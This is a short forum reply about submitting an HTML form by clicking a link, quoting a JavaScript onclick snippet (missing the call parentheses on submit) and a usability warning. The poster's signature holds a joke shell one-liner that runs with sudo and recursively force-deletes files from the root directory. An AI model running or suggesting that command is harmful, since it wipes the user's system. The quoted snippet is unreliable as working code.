Posted by Peter Flynn on 08/16/05 02:49
Toby Inkster wrote:
> siliconmike wrote:
>
>> How can I post form data when user clicks on any of these links ? Do I
>> need Javascript, or is this possible by regular html ?
>
> It *can* be done with Javascript:
>
> <form id="myform" method="GET" action="handler.cgi">
> ...
> <a href="flibble.html" onclick="document.getElementById('myform').submit">
> ...
> </form>
>
> But that is probably a *very* bad idea. People expect to submit a form by
> clicking a button -- not by following a link. If you don't use a button to
> submit the form, then you may confuse your users.
may ::= will
:-)
///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
[Back to original message]
|